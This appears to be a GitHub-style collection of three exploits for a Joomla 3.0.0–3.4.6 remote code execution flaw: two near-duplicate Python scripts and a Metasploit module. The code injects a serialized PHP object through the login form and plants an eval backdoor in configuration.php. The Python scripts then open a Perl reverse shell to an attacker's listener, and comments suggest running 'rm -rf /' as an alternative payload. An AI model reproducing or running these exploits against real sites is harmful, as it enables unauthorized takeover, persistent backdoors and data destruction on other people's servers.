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Joomla-3.4.6-RCE

exp author: twitter:@momika233 from :https://github.com/momika233/Joomla-3.4.6-RCE Software Link: https://downloads.joomla.org/it/cms/joomla3/3-4-6 Version: 3.0.0 → 3.4.6

POC 1

#!/usr/bin/env python3

import requests
from bs4 import BeautifulSoup
import sys
import string
import random
import argparse
from termcolor import colored

PROXS = {'http':'127.0.0.1:8080'}
PROXS = {}

def random_string(stringLength):
        letters = string.ascii_lowercase
        return ''.join(random.choice(letters) for i in range(stringLength))


backdoor_param = random_string(50)

def print_info(str):
        print(colored("[*] " + str,"cyan"))

def print_ok(str):
        print(colored("[+] "+ str,"green"))

def print_error(str):
        print(colored("[-] "+ str,"red"))

def print_warning(str):
        print(colored("[!!] " + str,"yellow"))

def get_token(url, cook):
        token = ''
        resp = requests.get(url, cookies=cook, proxies = PROXS)
        html = BeautifulSoup(resp.text,'html.parser')
        # csrf token is the last input
        for v in html.find_all('input'):
                csrf = v
        csrf = csrf.get('name')
        return csrf


def get_error(url, cook):
        resp = requests.get(url, cookies = cook, proxies = PROXS)
        if 'Failed to decode session object' in resp.text:
                #print(resp.text)
                return False
        #print(resp.text)
        return True


def get_cook(url):
        resp = requests.get(url, proxies=PROXS)
        #print(resp.cookies)
        return resp.cookies


def gen_pay(function, command):
        # Generate the payload for call_user_func('FUNCTION','COMMAND')
        template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
        #payload =  command + ' || $a=\'http://wtf\';'
        payload =  'http://l4m3rz.l337/;' + command
        # Following payload will append an eval() at the enabled of the configuration file
        #payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
        function_len = len(function)
        final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
        return final

def make_req(url , object_payload):
        # just make a req with object
        print_info('Getting Session Cookie ..')
        cook = get_cook(url)
        print_info('Getting CSRF Token ..')
        csrf = get_token( url, cook)

        user_payload = '\\0\\0\\0' * 9
        padding = 'AAA' # It will land at this padding
        working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
        clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects

        inj_object = '";'
        inj_object += object_payload
        inj_object += 's:6:"return";s:102:' # end the object with the 'return' part
        password_payload = padding + inj_object
        params = {
            'username': user_payload,
            'password': password_payload,
            'option':'com_users',
            'task':'user.login',
            csrf :'1'
            }

        print_info('Sending request ..')
        resp  = requests.post(url, proxies = PROXS, cookies = cook,data=params)
        return resp.text

def get_backdoor_pay():
        # This payload will backdoor the the configuration .PHP with an eval on POST request

        function = 'assert'
        template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
        # payload =  command + ' || $a=\'http://wtf\';'
        # Following payload will append an eval() at the enabled of the configuration file
        payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
        function_len = len(function)
        final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
        return final

def check(url):
        check_string = random_string(20)
        target_url = url + 'index.php/component/users'
        html = make_req(url, gen_pay('print_r',check_string))
        if check_string in html:
                return True
        else:
                return False

def ping_backdoor(url,param_name):
        res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)
        if 'PWNED' in res.text:
                return True
        return False

def execute_backdoor(url, payload_code):
        # Execute PHP code from the backdoor
        res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
        print(res.text)

def exploit(url, lhost, lport):
        # Exploit the target
        # Default exploitation will append en eval function at the end of the configuration.pphp
        # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
        # e.g. get_payload('system','rm -rf /')

        # First check that the backdoor has not been already implanted
        target_url = url + 'index.php/component/users'

        make_req(target_url, get_backdoor_pay())
        if ping_backdoor(url, backdoor_param):
                print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
                print_info('Now it\'s time to reverse, trying with a system + perl')
                execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')


if __name__ == '__main__':
        parser = argparse.ArgumentParser()
        parser.add_argument('-t','--target',required=True,help='Joomla Target')
        parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')
        parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')
        parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')
        parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')
        args = vars(parser.parse_args())

        url = args['target']
        if(check(url)):
                print_ok('Vulnerable')
                if args['exploit']:
                        exploit(url, args['lhost'], args['lport'])
                else:
                        print_info('Use --exploit to exploit it')

        else:
                print_error('Seems NOT Vulnerable ;/')

POC 2 of rusty_joomla_exploit.py

POC 2 and POC 3 from here:https://github.com/kiks7/rusty_joomla_rce thannk yours

#!/usr/bin/env python3
##
# Exploit Title: Rusty Joomla RCE
# Google Dork: N/A
# Date: 02/10/2019
# Exploit Author: Alessandro Groppo @Hacktive Security
# Vendor Homepage: https//www.joomla.it/
# Software Link: https://downloads.joomla.org/it/cms/joomla3/3-4-6
# Version: 3.0.0 --> 3.4.6
# Tested on: Linux 4.9.184
# CVE : [if applicable]
# Technical details: https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41
# Github: https://github.com/kiks7/rusty_joomla_rce
#
# The exploitation is implanting a backdoor in /configuration.php file in the root directory with an eval in order to be more suitable for all environments.
# If you don't like this way, you can replace the get_backdoor_pay() with get_pay('php_function', 'parameter') like get_pay('system','rm -rf /')
#
#
#
#
##

import requests
from bs4 import BeautifulSoup
import sys
import string
import random
import argparse
from termcolor import colored

PROXS = {'http':'127.0.0.1:8080'}
PROXS = {}

def random_string(stringLength):
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i in range(stringLength))


backdoor_param = random_string(50)

def print_info(str):
    print(colored("[*] " + str,"cyan"))

def print_ok(str):
    print(colored("[+] "+ str,"green"))

def print_error(str):
    print(colored("[-] "+ str,"red"))

def print_warning(str):
    print(colored("[!!] " + str,"yellow"))

def get_token(url, cook):
    token = ''
    resp = requests.get(url, cookies=cook, proxies = PROXS)
    html = BeautifulSoup(resp.text,'html.parser')
    # csrf token is the last input
    for v in html.find_all('input'):
        csrf = v
    csrf = csrf.get('name')
    return csrf


def get_error(url, cook):
    resp = requests.get(url, cookies = cook, proxies = PROXS)
    if 'Failed to decode session object' in resp.text:
        #print(resp.text)
        return False
    #print(resp.text)
    return True


def get_cook(url):
    resp = requests.get(url, proxies=PROXS)
    #print(resp.cookies)
    return resp.cookies


def gen_pay(function, command):
    # Generate the payload for call_user_func('FUNCTION','COMMAND')
    template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
    #payload =  command + ' || $a=\'http://wtf\';'
    payload =  'http://l4m3rz.l337/;' + command
    # Following payload will append an eval() at the enabled of the configuration file
    #payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
    function_len = len(function)
    final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
    return final

def make_req(url , object_payload):
    # just make a req with object
    print_info('Getting Session Cookie ..')
    cook = get_cook(url)
    print_info('Getting CSRF Token ..')
    csrf = get_token( url, cook)

    user_payload = '\\0\\0\\0' * 9
    padding = 'AAA' # It will land at this padding
    working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
    clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects

    inj_object = '";'
    inj_object += object_payload
    inj_object += 's:6:"return";s:102:' # end the object with the 'return' part
    password_payload = padding + inj_object
    params = {
            'username': user_payload,
            'password': password_payload,
            'option':'com_users',
            'task':'user.login',
            csrf :'1'
            }

    print_info('Sending request ..')
    resp  = requests.post(url, proxies = PROXS, cookies = cook,data=params)
    return resp.text

def get_backdoor_pay():
    # This payload will backdoor the the configuration .PHP with an eval on POST request

    function = 'assert'
    template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
    # payload =  command + ' || $a=\'http://wtf\';'
    # Following payload will append an eval() at the enabled of the configuration file
    payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
    function_len = len(function)
    final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
    return final

def check(url):
    check_string = random_string(20)
    target_url = url + 'index.php/component/users'
    html = make_req(url, gen_pay('print_r',check_string))
    if check_string in html:
        return True
    else:
        return False

def ping_backdoor(url,param_name):
    res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)
    if 'PWNED' in res.text:
        return True
    return False

def execute_backdoor(url, payload_code):
    # Execute PHP code from the backdoor
    res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
    print(res.text)

def exploit(url, lhost, lport):
    # Exploit the target
    # Default exploitation will append en eval function at the end of the configuration.pphp
    # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
    # e.g. get_payload('system','rm -rf /')

    # First check that the backdoor has not been already implanted
    target_url = url + 'index.php/component/users'

    make_req(target_url, get_backdoor_pay())
    if ping_backdoor(url, backdoor_param):
        print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
        print_info('Now it\'s time to reverse, trying with a system + perl')
        execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')


if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('-t','--target',required=True,help='Joomla Target')
    parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')
    parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')
    parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')
    parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')
    args = vars(parser.parse_args())

    url = args['target']
    if(check(url)):
        print_ok('Vulnerable')
        if args['exploit']:
            exploit(url, args['lhost'], args['lport'])
        else:
            print_info('Use --exploit to exploit it')

    else:
        print_error('Seems NOT Vulnerable ;/')

POC 3 of MSF

file name:metasploit_rusty_joomla_rce.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Joomla

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Rusty Joomla Unauthenticated Remote Code Execution',
      'Description'    => %q{
    PHP Object Injection because of a downsize in the read/write process with the database leads to RCE.
    The exploit will backdoor the configuration.php file in the root directory with en eval of a POST parameter.
    That's because the exploit is more reliabale (doesn't rely on common disabled function). 
    For this reason, use it with caution and remember the house cleaning.
    Btw, you can also edit this exploit and use whatever payload you want. just modify the exploit object with 
    get_payload('you_php_function','your_parameters'), e.g. get_payload('system','rm -rf /') and enjoy
      },
      'Author'  =>
        [
          'Alessandro \'kiks\' Groppo @Hacktive Security', 
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
        ['URL', 'https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41']
        ],
      'Privileged'     => false, 
      'Platform'       => 'PHP',
      'Arch'           => ARCH_PHP,
      'Targets'        => [['Joomla 3.0.0 - 3.4.6', {}]],
      'DisclosureDate' => 'Oct 02  2019',
      'DefaultTarget'  => 0)
    )

    register_advanced_options(
      [
        OptBool.new('FORCE', [true, 'Force run even if check reports the service is safe.', false]),
      ])
  end

  def get_random_string(length=50)
    source=("a".."z").to_a + ("A".."Z").to_a + (0..9).to_a 
    key=""
    length.times{ key += source[rand(source.size)].to_s }
    return key
  end

  def get_session_token
    # Get session token from cookies
    vprint_status('Getting Session Token')
    res = send_request_cgi({
        'method' => 'GET',
        'uri'    => normalize_uri(target_uri.path) 
    })

    cook = res.headers['Set-Cookie'].split(';')[0]
    vprint_status('Session cookie: ' + cook)
    return cook
  end

  def get_csrf_token(sess_cookie)
      vprint_status('Getting CSRF Token')

      res = send_request_cgi({
        'method' => 'GET',
        'uri'    => normalize_uri(target_uri.path,'/index.php/component/users'),
        'headers' => {
            'Cookie' => sess_cookie,
        }
      })

      html = res.get_html_document
      input_field = html.at('//form').xpath('//input')[-1]
      token = input_field.to_s.split(' ')[2]
      token = token.gsub('name="','').gsub('"','')
      if token then
          vprint_status('CSRF Token: ' + token)
          return token
      end
      print_error('Cannot get the CSRF Token ..')

  end

  def get_payload(function, payload)
      # @function: The PHP Function
      # @payload: The payload for the call
      template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
      # The http:// part is necessary in order to validate a condition in SimplePie::init and trigger the call_user_func with arbitrary values
      payload = 'http://l4m3rz.l337/;' + payload
      final = template.gsub('PAYLOAD',payload).gsub('LENGTH', payload.length.to_s).gsub('FUNC_NAME', function).gsub('FUNC_LEN', function.length.to_s)
      return final
  end


  def get_payload_backdoor(param_name) 
    # return the backdoor payload
    # or better, the payload that will inject and eval function in configuration.php (in the root)
    # As said in other part of the code. we cannot create new .php file because we cannot use 
    # the ? character because of the check on URI schema
    function = 'assert'
        template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'                                                             
        # This payload will append an eval() at the end of the configuration file                                                                            
        payload =  "file_put_contents('configuration.php','if(isset($_POST[\\'"+param_name+"\\'])) eval($_POST[\\'"+param_name+"\\']);', FILE_APPEND) || $a=\'http://wtf\';"
    template['PAYLOAD']  = payload 
    template['LENGTH']   = payload.length.to_s
    template['FUNC_NAME'] = function 
    template['FUNC_LEN'] = function.length.to_s
        return template 

  end


  def check_by_exploiting
        # Check that is vulnerable by exploiting it and try to inject a printr('something')
        # Get the Session anb CidSRF Tokens
        sess_token = get_session_token()
        csrf_token = get_csrf_token(sess_token)

        print_status('Testing with a POC object payload')

        username_payload = '\\0\\0\\0' * 9
        password_payload = 'AAA";'                      # close the prev object
        password_payload += get_payload('print_r','IAMSODAMNVULNERABLE')    # actual payload 
        password_payload += 's:6:"return":s:102:'               # close cleanly the object
        res = send_request_cgi({
            'uri'      => normalize_uri(target_uri.path,'/index.php/component/users'),
            'method'   => 'POST',
            'headers'  => 
                {
                'Cookie' => sess_token,
            },
            'vars_post' => {
                'username' => username_payload,
                'password' => password_payload,
                'option'   => 'com_users',
                'task'     => 'user.login',
                csrf_token => '1',
            }
        }) 
        # Redirect in order to retrieve the output
        if res.redirection then
        res_redirect = send_request_cgi({
            'method' => 'GET',
            'uri'    => res.redirection.to_s,
            'headers' =>{
                'Cookie' => sess_token
            }
        })

        if 'IAMSODAMNVULNERABLE'.in? res.to_s or 'IAMSODAMNVULNERABLE'.in? res_redirect.to_s then
            return true
        else
            return false
        end

        end
    end

  def check
    # Check if the target is UP and get the current version running by info leak    
    res = send_request_cgi({'uri' => normalize_uri(target_uri.path, '/administrator/manifests/files/joomla.xml')})
    unless res
      print_error("Connection timed out")
      return Exploit::CheckCode::Unknown
    end

    # Parse XML to get the version 
    if res.code == 200 then
        xml = res.get_xml_document
        version = xml.at('version').text
        print_status('Identified version ' + version)
        if version <= '3.4.6' and version >= '3.0.0' then
            if check_by_exploiting()
            return Exploit::CheckCode::Vulnerable
            else
            if check_by_exploiting() then
            # Try the POC 2 times. 
                return Exploit::CheckCode::Vulnerable
            else
                return Exploit::CheckCode::Safe
            end
            end
        else
            return Exploit::CheckCode::Safe
        end
    else
        print_error('Cannot retrieve XML file for the Joomla Version. Try the POC in order to confirm if it\'s vulnerable')
        if check_by_exploiting() then
            return Exploit::CheckCode::Vulnerable
        else
            if check_by_exploiting() then
            return Exploit::CheckCode::Vulnerable
            else
                return Exploit::CheckCode::Safe
            end
        end
    end
  end




  def exploit
    if check == Exploit::CheckCode::Safe && !datastore['FORCE']
      print_error('Target is not vulnerable')
      return
    end


    pwned = false
    cmd_param_name = get_random_string(50) 

    sess_token = get_session_token()
    csrf_token = get_csrf_token(sess_token)

    # In order to avoid problems with disabled functions
    # We are gonna append an eval() function at the end of the configuration.php file
    # This will not cause any problem to Joomla and is a good way to execute then PHP directly
    # cuz assert is toot annoying and with conditions that we have we cannot inject some characters
    # So we will use 'assert' with file_put_contents to append the string. then create a reverse shell with this backdoor
    # Oh i forgot, We cannot create a new file because we cannot use the '?' character in order to be interpreted by the web server.

    # TODO: Add the PHP payload object to inject the backdoor inside the configuration.php file
    #       Use the implanted backdoor to receive a nice little reverse shell with a PHP payload


    # Implant the backdoor
    vprint_status('Cooking the exploit ..')
    username_payload = '\\0\\0\\0' * 9
    password_payload = 'AAA";'                      # close the prev object
    password_payload += get_payload_backdoor(cmd_param_name)        # actual payload 
    password_payload += 's:6:"return":s:102:'               # close cleanly the object

    print_status('Sending exploit ..')


    res = send_request_cgi({
        'uri'      => normalize_uri(target_uri.path,'/index.php/component/users'),
        'method'   => 'POST',
        'headers'  => {
            'Cookie' => sess_token
        },
        'vars_post' => {
            'username' => username_payload,
            'password' => password_payload,
            'option'   => 'com_users',
            'task'     => 'user.login',
            csrf_token => '1'
        }
    }) 

    print_status('Triggering the exploit ..')    
    if res.redirection then
    res_redirect = send_request_cgi({
        'method' => 'GET',
        'uri'    => res.redirection.to_s,
        'headers' =>{
            'Cookie' => sess_token
        }
    })
    end

    # Ping the backdoor see if everything is ok :/
    res = send_request_cgi({
        'method'     => 'POST',
        'uri'        => normalize_uri(target_uri.path,'configuration.php'),
        'vars_post'  => {
            cmd_param_name  => 'echo \'PWNED\';' 
        }
    })
    if res.to_s.include? 'PWNED' then
    print_status('Target P0WN3D! eval your code at /configuration.php with ' + cmd_param_name + ' in a POST')
    pwned = true
    end



    if pwned then
        print_status('Now it\'s time to reverse shell')
        res = send_request_cgi({
        'method'     => 'POST',
        'uri'        => normalize_uri(target_uri.path,'configuration.php'),
        'vars_post'  => {
            cmd_param_name  => payload.encoded 
        }
    })
    end

  end
end